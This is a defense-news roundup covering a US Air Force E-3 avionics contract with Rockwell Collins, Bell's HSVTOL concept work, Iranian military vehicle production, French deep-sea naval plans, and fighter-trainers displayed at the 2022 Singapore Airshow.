Americas The US Air Force Awarded Rockwell Collins a $99.6 million deal for avionics sustaining engineering services. The deal provides for propitiatory engineering services and support for recurring and non-recurring requirements relating to the E-3 Airborne Warning and Control System. The E-3 Sentry aircraft allows the Joint Air Operations Center to obtain battlespace awareness in real time with the system’s command, control, surveillance, detection and tracking features. Work will take place in Iowa. Estimated completion date is February 11, 2032. Bell Textron announced its advancement to the next phase of the AFWERX High-Speed Vertical Take-Off and Landing (HSVTOL) Concept Challenge, a crowdsourcing effort for the United States Air Force and United States Special Operations Command (USSOCOM). Bell’s HSVTOL vehicles blend the hover capability of a helicopter with the speed, range and survivability features of fighter aircraft. This family of scalable aircraft concepts is designed to support a range of missions, including personnel recovery, autonomous ISR/Strike, and tactical mobility, with low downwash hover capability and jet-like speeds of more than 400 kts. Middle East & Africa Iran has started mass production of Aras-3 High Mobility Multipurpose Wheeled Vehicles (HMMWV) besides unveiling a number of locally upgraded missile defense systems. According to Irans’s state-owned Press TV, the military achievements were showcased on February 13 during a ceremony attended by Iran’s Defense Minister Brigadier General Mohammad Reza Ashtiani, a number of other high-ranking military officials and experts from the Defense Industries Organization. Europe The French Ministry of Defense introduced a strategy aimed at broadening the capabilities of anticipation and action of the French Navy up to 6,000 m depth. The French Navy already has mine warfare and hydro-oceanography capabilities contributing to the control of the seabed. But to expand its investigation and action capacities down to 6,000 meters deep, France is going to count on deep-sea exploratory military capacities, made up of underwater drones and remotely operated vehicles. Asia-Pacific China exhibited multiple fighter-trainer models at the Singapore Airshow including the JF-17, L-15, FTC-2000G and K-8 trainer. The stall of Aviation Industries Corporation of China (AVIC) at the Singapore Airshow exhibited the light fighter-trainer models with an eye on upcoming procurement in Malaysia which has issued a tender for light fighter -trainers in which the Chinese L-15 light fighter-trainer is participating. The Indian Air Force (IAF) is showcasing its Tejas Light Combat Aircraft (LCA) in Singapore for the first time as part of efforts to position the platform for requirements in the region. The service has deployed three airframes to the country as part of the aircraft’s debut at Singapore Airshow 2022, which runs from February 15 to 18. One of the airframes took part in a static display alongside a delegation of Indian government officials who were there to explain the various features of the LCA. Today’s Video WATCH: Boeing E-3 Sentry AWACS | Eyes of the Skies View the full article